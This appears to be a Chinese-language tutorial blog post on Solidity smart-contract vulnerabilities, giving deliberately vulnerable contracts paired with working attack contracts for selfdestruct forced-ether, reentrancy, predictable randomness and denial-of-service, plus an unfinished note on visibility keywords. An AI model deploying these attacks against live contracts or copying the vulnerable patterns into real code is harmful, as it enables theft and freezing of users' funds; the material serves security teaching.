这是我第一篇文章

我的小标签

solidity漏洞

1,自毁函数攻击

通过selfdestruce自会函数进行强制转账,导致合约中受到7ether,然后卡死

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// SPDX-License-Identifier: HIT
pragma solidity^0.8.0;
contract EtherGame{#幸运七游戏:第七个传入以太币的人会得到前面的以太币
address public winner;
uint TARGET_AMOUNT=7 ether;
function deposit()public payable{
require(msg.value==1 ether,"you can only send 1 ether");
uint balances=address(this).balance;
require(balances<=TARGET_AMOUNT,"game is over");
if(balances==TARGET_AMOUNT){
winner=msg.sender;
}

}
function withdraw() public {
require(msg.sender==winner,"not pass");
(bool send,)=msg.sender.call{value: address(this).balance}("");
require(send,"failed");
winner=address(0);
}
function getbalance()public view returns(uint){
return address(this).balance;}
}
contract Attack{
constructor()payable{
}
function attack(address to)external{
selfdestruct(payable(to));
}
function getBalance()public view returns(uint){
return address(this).balance;
}
}

2,重入攻击

该攻击利用fallback函数的触发来做到递归取款,一直会取以太只到取完。fallback触发条件为:1.收到以太 2.调用合约中不存在的函数时

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
pragma solidity ^0.7.6;#重入攻击只能在0.8.0版本以下
contract Bank {
mapping(address => uint) public balances; //账本,用来记录每一个用户的账户余额
//取款
function withdraw(uint _amount) external payable {
//用户余额大于存款额,否侧错误
require (balances[msg.sender] >= _amount,"balance is insufficient");
//转账给用户
(bool sent,) = msg.sender.call{value: _amount}("");
//是否成功,不成功返回数据
require(sent, "Failed to send Ether");
//扣除转出去的钱
balances[msg.sender] -= _amount;
}
//存款
function deposit() public payable {
balances[msg.sender] += msg.value;//存款 [用户可使用]
}//查看余额
function getBalance() external view returns (uint) {
return address(this).balance;
}
constructor() payable{}
}
contract Attack {
//攻击目标
Bank public bank;
//参数为攻击目标的地址
constructor(address payable _address)payable {
bank = Bank(_address);
}
//2攻击
function attack() external payable {
bank.deposit{value: 1 ether}();//先存再取出
bank.withdraw(1 ether);
}
//回退
fallback() external payable {
if (address(bank).balance >= 1 ether) {
bank.withdraw(1 ether);
}
}
// 查看合同余额
function getBalance() external view returns (uint) {
return address(this).balance;
}

}

3,随机数攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// SPDX-License-Identifier: HIT
pragma solidity^0.8.0;
contract Random{
function guess()public payable {
bool result=_getRandom();
if(result){
address _to=msg.sender;
_to.call{value:1 ether}("");
}
}
function _getRandom()public view returns(bool){
uint random=uint(keccak256(abi.encodePacked(block.difficulty,block.timestamp)));
if(random%2==0){
return false;
}
else{return true;}

}
constructor()payable{}
}
contract Attack{
function attack(address _random)external payable{
for(uint i=0;i<1;i++){
if(payable(_random).balance<1){
return;
}
if(uint(keccak256(abi.encodePacked(block.difficulty,block.timestamp)))%2!=0){
Random(_random).guess();
}
}
}
function getBalance()external view returns(uint){
return address(this).balance;
}
receive()external payable{}
}

4,拒绝服务攻击

利用合约无法收款的特性来攻击,当合约没用fallback函数与receive函数时合约就无法收到外部转账或者退钱,因此投标函数无法完整的向下执行,不会改变winner的地址,winner会被一直霸占

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// SPDX-License-Identifier: HIT
pragma solidity^0.8.0;
contract Auction{
address public winner;
uint public amount;
function bid()external payable{
require(msg.value>0,"amount is too small");
require(msg.value>amount,"amount is too small");//如不符合要求则进行回退
payable(winner).transfer(amount);
winner=msg.sender;
amount=msg.value;
}
function getBalance()external view returns(uint){
return address(this).balance;
}
receive()external payable{}
}
contract Attack{
constructor()payable{

}
function attack(address target,uint amount)external payable{
Auction(payable (target)).bid{value:amount}();
}

}

5,访问控制攻击

1
2
3
4
5
public – 公共状态变量可以在内部访问,也可以通过消息访问。对于公共状态变量,将生成一个自动getter函数。
internal – 内部状态变量只能从当前合约或其派生合约内访问。
private – 私有状态变量只能从当前合约内部访问,派生合约内不能访问
external — 外部状态变量只能在合约之外调用,不能被合约内的其他函数调用。